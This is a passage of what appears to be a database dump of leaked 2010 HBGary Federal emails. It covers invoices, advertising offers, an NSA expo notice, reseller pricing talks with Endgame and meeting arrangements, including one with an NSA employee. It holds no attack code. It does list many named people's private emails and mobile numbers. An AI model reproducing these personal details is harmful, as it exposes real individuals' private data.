Sincerely,\r\n  HBGary Federal LLC\r\n  \r\n  \r\n  ------------------------ Invoice Summary --------------------------\r\n  Invoice #: 1007\r\n  Invoice Date: 07/08/2010\r\n  Due Date: 07/23/2010\r\n  Terms: Net 15\r\n  Amount Due: $7,696.48\r\n  \r\n  The complete version has been provided as an attachment to this email.\r\n  ---------------------------------------------------------------------\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Windows\r\n  users: To view your invoice\r\n  Open the attached PDF file. You must have Adobe&reg; Reader&reg;\r\n  installed to view the attachment.\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  delivered\r\n  by QuickBooks Online Plus\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1255,'aaron_hbgary_com/1255.html'),(9925,'2010-08-09','\"Scott  Rogers\" <scott@executivebiz.com>','/aaron@hbgary.com/new/1297007779.M242458P14101Q4781.eml','','Cybersecurity Advertising Opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI wanted to reach out to you regarding our forthcoming issue\r\nof GovConExec magazine. Our cover story will be on Cyber Warriors in the\r\ngovernment contracting community. The thrust of the article centers around the\r\ncurrent dearth of cyber professionals in the public sector. As a result, the\r\ngovernment has turned to government contractors who are able to conduct the\r\nwork in an effective and efficient manner, helping to secure the nation&#8217;s\r\ndigital infrastructure. The article is intended to highlight the positive\r\ncontributions that the private sector is making to securing the United States\r\nagainst the threat of cyber attacks that target government and critical\r\ninfrastructure. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nIn anticipation of the article, we are offering special\r\nadvertising rates for companies engaged in cybersecurity. \r\n\r\n&nbsp;\r\n\r\nInside One Page (8 ½ X\r\n11)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n$2,590&nbsp;&nbsp; \r\n\r\nFront Inside Cover - Fold Out (17 X 11)&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n$4,125\r\n\r\nBack Inside Cover (8 ½ X\r\n11)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n$3,120\r\n\r\nBack Cover (8 ½ X 11)\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSOLD&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\nInside half pages\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n$1,295\r\n\r\n&nbsp;\r\n\r\nThe Deadline is August the 23rd.\r\n\r\n&nbsp;\r\n\r\nPlease contact me at (703) 226-7011 or &nbsp;scott@executivebiz.com. \r\n\r\n&nbsp;\r\n\r\nTo view our previous edition of the magazine, please visit www.govconexec.com. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nScott W. Rogers\r\nCOO ExecutiveBiz / Executive Mosaic\r\n(703) 226-7011 \r\n&quot;We Connect Executives&quot;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\nThis message is a PRIVATE communication. If you are not the intended recipient,\r\nplease do not read, copy, or use it, and do not disclose it to others. Please\r\nnotify the sender of the delivery error by replying to this message, and then\r\ndelete it from your system. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10905,'aaron_hbgary_com/10905.html'),(9926,'2010-08-09','\"Michael Toth\" <mtoth@eaglerayinc.com>','/aaron@hbgary.com/new/1297007779.M30174P14101Q4780.eml','aaron@hbgary.com','FW: 2010 NSA On-site Expos','FYI:\r\n________________________________________\r\nFrom: Federal Business Council [nicole@fbcinc.ccsend.com] On Behalf Of Federal Business Council [nicole@fbcinc.com]\r\nSent: Monday, August 09, 2010 11:06\r\nTo: Michael Toth\r\nSubject: 2010 NSA On-site Expos\r\n\r\nNational Security Agency\r\nOn-site Expositions\r\n        [http://ih.constantcontact.com/fs045/981115959376/img/157.gif]\r\n\r\nNSA Army Tactical SIGINT\r\n\r\nSeptember 23, 2010\r\nFt. Meade, MD\r\n\r\nNSA OPS 1\r\n\r\nNovember 16, 2010\r\nFort Meade, MD\r\n\r\n        NSA OPS 2 \r\n\r\nNovember 17, 2010\r\nFort Meade, MD\r\n        NSA R&E \r\n\r\nNovember 18, 2010\r\nFort Meade, MD\r\n\r\n\r\n\r\nThroughout 2010, the National Security Agency (NSA) will host onsite conferences and expositions at various secure facilities within the NSA campus.  NSA conducts one of the U.S. Government`s leading research and development (R&D) programs. Some of the Agency`s R&D projects have significantly advanced the state of the art in the scientific and business worlds.\r\n\r\nOne of the most efficient ways to demonstrate your interest in doing business with NSA is by participating in these on-site events supported by NSA`s Directorate of Acquisition\'s Plans Policy and Outreach Office.  Please note the events are unclassified. FBC will coordinate with NSA for exhibitors to gain one day access to these secure facilities.\r\n__________________________________________________________\r\n\r\nTo register and for more information, visit the event websites by clicking on the event name or contact your FBC Account Manager at 800-878-2940 x283 or contact nicole@fbcinc.com.\r\n\r\n\r\n\r\n\r\n\r\n\r\nForward email\r\n[http://img.constantcontact.com/letters/images/safe_unsubscribe_logo.gif]\r\nThis email was sent to mtoth@eaglerayinc.com by nicole@fbcinc.com.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe™ | Privacy Policy.\r\n\r\nEmail Marketing by\r\n[http://img.constantcontact.com/letters/images/cc-logo-color-sm.gif]\r\nFederal Business Council | www.fbcinc.com | 8975 Henkels Lane | Suite 700 | Annapolis Junction | MD | 20701\r\n\r\n\r\n',15449,'aaron_hbgary_com/15449.html'),(9927,'2010-08-09','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007779.M455770P14101Q4782.eml','\"Joe Pizzo\" <joe@hbgary.com>,\"Joe Pizzo\" <joe@hbgary.com>,','Fwd: Accepted: Invitation: State Dept Presentation -- HBGary 	technology and for moni... @ Thu Aug 12 11am - 12pm (Vaziri-ZanjaniA@state.gov)','Joe\r\n \r\nWould you be able to support a demo of Active Defense to Aaron who will be onsite at the State Dept?  Thursday afternoon 2-3 EST?\r\n \r\nRich will be out of town and Phil doesn&#39;t have Active Defense setup for a demo and was going to bill out for Morgan....\r\n \r\nOtherwise, I will reschedule for last week of August.  They say this is for next year&#39;s budget but who knows.....\r\n \r\nMaria\r\n---------- Forwarded message ----------From: Vaziri-Zanjani, Ali &lt;Vaziri-ZanjaniA@state.gov&gt;\r\nDate: Mon, Aug 9, 2010 at 7:55 AMSubject: Accepted: Invitation: State Dept Presentation -- HBGary technology and for moni... @ Thu Aug 12 11am - 12pm (Vaziri-ZanjaniA@state.gov)\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\nI will send you directions and instructions for entering Dept. of State facilities shortly.\r\n\r\nI have a conference room reserved.  I need names of all the people that will be attending. \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',6537,'aaron_hbgary_com/6537.html'),(9928,'2010-08-09','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297007779.M657872P14101Q4783.eml','\"Aaron Barr\" <aaron@hbgary.com>','ManTech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nNo word from Lynda Burroughs\r\nat ManTech yet on teaming. Eric committed in principle but we need a signed TA\r\nsoon. Can you help/inquire?\r\n\r\n&nbsp;\r\n\r\nThanks.\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6916,'aaron_hbgary_com/6916.html'),(9929,'2010-08-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007779.M859126P14101Q4784.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Invoice from HBGary Federal LLC','TMC, do you want me to update the invoice?TedOn Mon, Aug 9, 2010 at 9:20 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat project is this for?  I need to know the “what”\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Sunday, August 08, 2010 5:22 PM\r\nTo: Penny Leavy; Barbara Vermilyea\r\nCc: Barr Aaron\r\nSubject: Invoice from HBGary Federal LLC\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Dear\r\n  Penny Leavy-Hoglund,\r\n  \r\n  Your invoice is attached. Please remit payment at your earliest convenience.\r\n  Thank you for your business - we appreciate it very much.\r\n  \r\n  Sincerely,\r\n  HBGary Federal LLC\r\n  \r\n  \r\n  ------------------------ Invoice Summary --------------------------\r\n  Invoice #: 1007\r\n  Invoice Date: 07/08/2010\r\n  Due Date: 07/23/2010\r\n  Terms: Net 15\r\n  Amount Due: $7,696.48\r\n  \r\n  The complete version has been provided as an attachment to this email.\r\n  ---------------------------------------------------------------------\r\n  \r\n \r\n\r\n\r\n \r\n\r\n\r\n \r\n  \r\n  Windows\r\n  users: To view your invoice\r\n  Open the attached PDF file. You must have Adobe® Reader®\r\n  installed to view the attachment.\r\n  \r\n \r\n\r\n\r\n \r\n\r\n\r\n \r\n  \r\n  delivered\r\n  by QuickBooks Online Plus\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |\r\n ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',13624,'aaron_hbgary_com/13624.html'),(9930,'2010-08-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007780.M259766P14101Q4786.eml','\"David Gerulski\" <dgerulski@endgames.us>,\"David Gerulski\" <dgerulski@endgames.us>','Re: Pricing Proposal','Hi David,\r\n\r\nWe agree to this pricing, we are going to try to sell it to the\r\ncustomer.  Can we build a web front-end that would allow us to sell\r\nthis capability directly from our website?\r\n\r\nTed\r\n\r\n\r\n\r\nOn Tue, Aug 3, 2010 at 3:24 PM, David Gerulski  wrote:\r\n> Ted,\r\n>\r\n> Your customer has 70,356 IP addresses.  At $18,000 a year, that is $.26 per\r\n> IP per year. Another way of looking at it is 70,356 queries times 365 days\r\n> totals 25,679,940 queries. That works out to be $.0007 or seven-hundredths\r\n> of a penny per query.  I am interested in building market share, and\r\n> understand Maria\'s position on pricing, but we cannot go that low.\r\n>\r\n> We need to get pricing on this deal to a bare minimum of $.001/query (one\r\n> tenth of one penny per query). Considering your customers number of IP\r\n> addresses that would be a deal size of $25,679.94.  For this first customer,\r\n> I would be willing to go $1,995/ month or $23,940. (Please note that\r\n> $.001/query is NOT our long-term price goal. It is floor we will build\r\n> from.)\r\n>\r\n> We are making vast improvements to our notification service. In less than a\r\n> month\'s time, it will include a customer portal complete with daily, weekly,\r\n> monthly and industry comparison reports. However, today, the customer will\r\n> receive a simple email notification.\r\n>\r\n> Other points we need to address before closing the current customer is a\r\n> putting together a reseller agreement that sets your discount, payment\r\n> methods, and ability to run additional queries at a vastly reduced price.\r\n> The following is my proposal for the agreement.\r\n>\r\n> Starting with you ability to run queries; during the Beta period HBGary ran\r\n> approximately 1.7 million IP addresses through our API. The good news, it\r\n> looks as if your queries may result in quite a bit of business. The bad news\r\n> is, we can\'t afford to run queries free of charge.  Endgame is willing to\r\n> set your price per query to $.001 (one-tenth of a penny) for the remainder\r\n> of the calendar year. Had we charged for your queries during the Beta\r\n> period, this would have resulted in a very reasonable bill of $1,700 for the\r\n> 1.7M addresses.\r\n>\r\n> Endgame is offering HBGary twenty-five (25) points on sales. This first sale\r\n> of $23,940 will result in $5,985 margin to you. As part of your reseller\r\n> agreement, we are willing to credit per query charges against margin.\r\n>\r\n> This reseller agreement will be a \"White Label\" HBGary service. Your\r\n> branding will be dominant on notification email and the customer portal.\r\n> Some type of additional \"powered by\" branding will include our brand,\r\n> ipTrust.\r\n>\r\n> Please review this proposal and let\'s schedule a call for tomorrow at your\r\n> convenience.\r\n>\r\n> Sincerely,\r\n>\r\n>\r\n>\r\n> Dave\r\n>\r\n> David Gerulski\r\n> VP Commercial Sales & Marketing\r\n> dgerulski@endgames.us\r\n> 770.906.3283\r\n>\r\n>\r\n> On Aug 3, 2010, at 9:52 AM, David Gerulski wrote:\r\n> Ted,\r\n>\r\n> Thank you for your email.  I am working on the logistics of the offer, a\r\n> reseller agreement, and the process for which HBGary can run queries to find\r\n> additional customers.\r\n>\r\n> I will have an answer back to you before the end of day.\r\n>\r\n> Dave\r\n>\r\n>\r\n>\r\n> David Gerulski\r\n> VP Commercial Sales & Marketing\r\n> dgerulski@endgames.us\r\n>\r\n> 770.906.3283\r\n>\r\n>\r\n> On Aug 2, 2010, at 7:51 PM, Ted Vera wrote:\r\n>\r\n> Hi David,\r\n>\r\n> Maria got back with me.  She thinks $5,000 per month is initially\r\n> high.  She recommends the following:\r\n>\r\n> \"What I would do is say we are \"piloting\" a new service.  For the\r\n> first 5 customers who sign up for 1 year the cost is a pre-paid\r\n> $18,000 and significantly below what we will be charging.  In return\r\n> for the low price we are asking customers to be a reference for HBGary\r\n> and for the Service.  I imagine that XXX will buy it... maybe XXX,\r\n> XXX, XXX and it will be easy enough to find a 5th. Depending on\r\n> results we should be able to charge $5,000 per month but it is easier\r\n> if we already have some customers...  and after a few months we can\r\n> ask the 5 what they think the \"value\" is.\"\r\n>\r\n> Personally, I like this approach.  What do you think?\r\n>\r\n> Ted\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',14653,'aaron_hbgary_com/14653.html'),(9931,'2010-08-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007780.M493117P14101Q4787.eml','\"David Gerulski\" <dgerulski@endgames.us>,\"David Gerulski\" <dgerulski@endgames.us>','Re: Pricing Proposal','David,\r\n\r\nDo you have any sales literature developed for this service?\r\nPowerpoint, word doc, sales slicks, etc?  Anything you have that\r\ndescribes the service would be beneficial.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\nOn Mon, Aug 9, 2010 at 10:37 AM, Ted Vera  wrote:\r\n> Hi David,\r\n>\r\n> We agree to this pricing, we are going to try to sell it to the\r\n> customer.  Can we build a web front-end that would allow us to sell\r\n> this capability directly from our website?\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Tue, Aug 3, 2010 at 3:24 PM, David Gerulski  wrote:\r\n>> Ted,\r\n>>\r\n>> Your customer has 70,356 IP addresses.  At $18,000 a year, that is $.26 per\r\n>> IP per year. Another way of looking at it is 70,356 queries times 365 days\r\n>> totals 25,679,940 queries. That works out to be $.0007 or seven-hundredths\r\n>> of a penny per query.  I am interested in building market share, and\r\n>> understand Maria\'s position on pricing, but we cannot go that low.\r\n>>\r\n>> We need to get pricing on this deal to a bare minimum of $.001/query (one\r\n>> tenth of one penny per query). Considering your customers number of IP\r\n>> addresses that would be a deal size of $25,679.94.  For this first customer,\r\n>> I would be willing to go $1,995/ month or $23,940. (Please note that\r\n>> $.001/query is NOT our long-term price goal. It is floor we will build\r\n>> from.)\r\n>>\r\n>> We are making vast improvements to our notification service. In less than a\r\n>> month\'s time, it will include a customer portal complete with daily, weekly,\r\n>> monthly and industry comparison reports. However, today, the customer will\r\n>> receive a simple email notification.\r\n>>\r\n>> Other points we need to address before closing the current customer is a\r\n>> putting together a reseller agreement that sets your discount, payment\r\n>> methods, and ability to run additional queries at a vastly reduced price.\r\n>> The following is my proposal for the agreement.\r\n>>\r\n>> Starting with you ability to run queries; during the Beta period HBGary ran\r\n>> approximately 1.7 million IP addresses through our API. The good news, it\r\n>> looks as if your queries may result in quite a bit of business. The bad news\r\n>> is, we can\'t afford to run queries free of charge.  Endgame is willing to\r\n>> set your price per query to $.001 (one-tenth of a penny) for the remainder\r\n>> of the calendar year. Had we charged for your queries during the Beta\r\n>> period, this would have resulted in a very reasonable bill of $1,700 for the\r\n>> 1.7M addresses.\r\n>>\r\n>> Endgame is offering HBGary twenty-five (25) points on sales. This first sale\r\n>> of $23,940 will result in $5,985 margin to you. As part of your reseller\r\n>> agreement, we are willing to credit per query charges against margin.\r\n>>\r\n>> This reseller agreement will be a \"White Label\" HBGary service. Your\r\n>> branding will be dominant on notification email and the customer portal.\r\n>> Some type of additional \"powered by\" branding will include our brand,\r\n>> ipTrust.\r\n>>\r\n>> Please review this proposal and let\'s schedule a call for tomorrow at your\r\n>> convenience.\r\n>>\r\n>> Sincerely,\r\n>>\r\n>>\r\n>>\r\n>> Dave\r\n>>\r\n>> David Gerulski\r\n>> VP Commercial Sales & Marketing\r\n>> dgerulski@endgames.us\r\n>> 770.906.3283\r\n>>\r\n>>\r\n>> On Aug 3, 2010, at 9:52 AM, David Gerulski wrote:\r\n>> Ted,\r\n>>\r\n>> Thank you for your email.  I am working on the logistics of the offer, a\r\n>> reseller agreement, and the process for which HBGary can run queries to find\r\n>> additional customers.\r\n>>\r\n>> I will have an answer back to you before the end of day.\r\n>>\r\n>> Dave\r\n>>\r\n>>\r\n>>\r\n>> David Gerulski\r\n>> VP Commercial Sales & Marketing\r\n>> dgerulski@endgames.us\r\n>>\r\n>> 770.906.3283\r\n>>\r\n>>\r\n>> On Aug 2, 2010, at 7:51 PM, Ted Vera wrote:\r\n>>\r\n>> Hi David,\r\n>>\r\n>> Maria got back with me.  She thinks $5,000 per month is initially\r\n>> high.  She recommends the following:\r\n>>\r\n>> \"What I would do is say we are \"piloting\" a new service.  For the\r\n>> first 5 customers who sign up for 1 year the cost is a pre-paid\r\n>> $18,000 and significantly below what we will be charging.  In return\r\n>> for the low price we are asking customers to be a reference for HBGary\r\n>> and for the Service.  I imagine that XXX will buy it... maybe XXX,\r\n>> XXX, XXX and it will be easy enough to find a 5th. Depending on\r\n>> results we should be able to charge $5,000 per month but it is easier\r\n>> if we already have some customers...  and after a few months we can\r\n>> ask the 5 what they think the \"value\" is.\"\r\n>>\r\n>> Personally, I like this approach.  What do you think?\r\n>>\r\n>> Ted\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',11245,'aaron_hbgary_com/11245.html'),(9932,'2010-08-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007780.M60746P14101Q4785.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Re: Training Dates','Do these dates look good?  Should we roll with them?  If so, then I\r\nwill schedule them in the Training Catalog.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Fri, Aug 6, 2010 at 2:20 PM, Ted Vera  wrote:\r\n> Proposed Social Media Training Dates:\r\n> September\r\n> 2:  Thurs (Full-day)\r\n> 21:  Tues (Half-day)\r\n> Max Revenue:  $30,625\r\n> October\r\n> 7:  Thurs (Half-day)\r\n> 26:  Tues (Full-day)\r\n> Max Revenue:  $30,625\r\n> November\r\n> 11:  Thur (Full-day)\r\n> 30:  Tues (Half-day)\r\n> Max Revenue:  $30,625\r\n> December\r\n> 2: Thur (Half-day)\r\n> 14:  Tue (Full-day)\r\n> Max Revenue:  $30,625\r\n> Total possible revenue from the schedule above: $122,500.  Assumes 25\r\n> students per class.\r\n> Ted\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',9692,'aaron_hbgary_com/9692.html'),(9933,'2010-08-09','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297007780.M688330P14101Q4788.eml','\"Inc. HBGARY\" <All@hbgary.com>','Reminder Hours in QB','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBarbara is in office today,&nbsp; please enter all hours in QB&#8217;s\r\n.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3733,'aaron_hbgary_com/3733.html'),(9934,'2010-08-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007780.M877454P14101Q4789.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','GFirst','Penny,\r\n\r\nCan I charge HBGary for attending GFirst?  Reason I ask is that we\r\ndon\'t have enough $$$ in the bank for travel costs/labor for this\r\ntrip.  Bob wants me to do an Active Defense demo for the AirForce\r\nwhile I\'m there, so there is some HBGary Business Development\r\nassociated with the trip.\r\n\r\nTed\r\n',4588,'aaron_hbgary_com/4588.html'),(9935,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007781.M86146P14101Q4790.eml','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','Re: Number','Hi Cheryl,\r\n\r\nIt does.  I haven\'t met him personally.  Our sister company does work\r\nin a few different pockets on the bldg. And i am on the extended NANA\r\nteam.  I recently joined to stand up HBGary federal, a related but\r\nseparate company.  We manage all the work that requires clearances.\r\nWe exchange some technologies, but we have some separate developments\r\nas well. Mostly around threat intelligence and CNO/social media.\r\n\r\nI think there are some enabling tech to your mission but really need\r\nthat qualified.\r\n\r\nInterested to run some of the stuxnet stuff by u as well.\r\n\r\nAaron\r\n\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 9, 2010, at 9:27 AM, \"Peace, Cheryl D\"  wrote:\r\n\r\n> Aaron\r\n> Did a little checking and we already do busy with you guys.  Does the name\r\n> Tony Seager ring a bell?\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, August 06, 2010 10:56 AM\r\n> To: Peace, Cheryl D\r\n> Subject: Re: Number\r\n>\r\n> OK. If interested do you have some time to get together when you get back?\r\n> either next Friday or early the following week?\r\n> Aaron\r\n>\r\n> On Aug 6, 2010, at 10:44 AM, Peace, Cheryl D wrote:\r\n>\r\n>> I am in Europe till mid next week\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, August 05, 2010 10:57 PM\r\n>> To: Peace, Cheryl D\r\n>> Subject: Re: Number\r\n>>\r\n>> Hi Cheryl,\r\n>>\r\n>> Can I schedule an appointment with you to come by and chat for a few\r\n>> minutes?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jul 30, 2010, at 10:41 PM, Peace, Cheryl D wrote:\r\n>>\r\n>>> I am at Rao at the bar if you want to come by for a few. Meeting friends\r\n>> for a cocktail in a few\r\n>>> --------------------------\r\n>>> Sent using BlackBerry\r\n>>>\r\n>>>\r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr \r\n>>> To: Peace, Cheryl D\r\n>>> Sent: Fri Jul 30 20:02:44 2010\r\n>>> Subject: Number\r\n>>>\r\n>>> Cheryl,\r\n>>>\r\n>>> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n>>> your number handy.  It will only take moment, but I have some\r\n>>> information for you.\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal\r\n>>> 7195108478\r\n>>>\r\n>>> --\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> 719.510.8478\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',16306,'aaron_hbgary_com/16306.html'),(9936,'2010-08-09','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297007782.M346394P14101Q4792.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Billy Hogan and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 9, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n        Latest:\r\n\r\n\r\n             1 Job\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           IT Jobs in Florida, Virginia and Maryland\r\n           Add a comment  &raquo;\r\n\r\n         Posted by Billy Hogan, Business Development for Mission Critical Solutions\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 75 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',5567,'aaron_hbgary_com/5567.html'),(9937,'2010-08-09','\"Tyler Holley\" 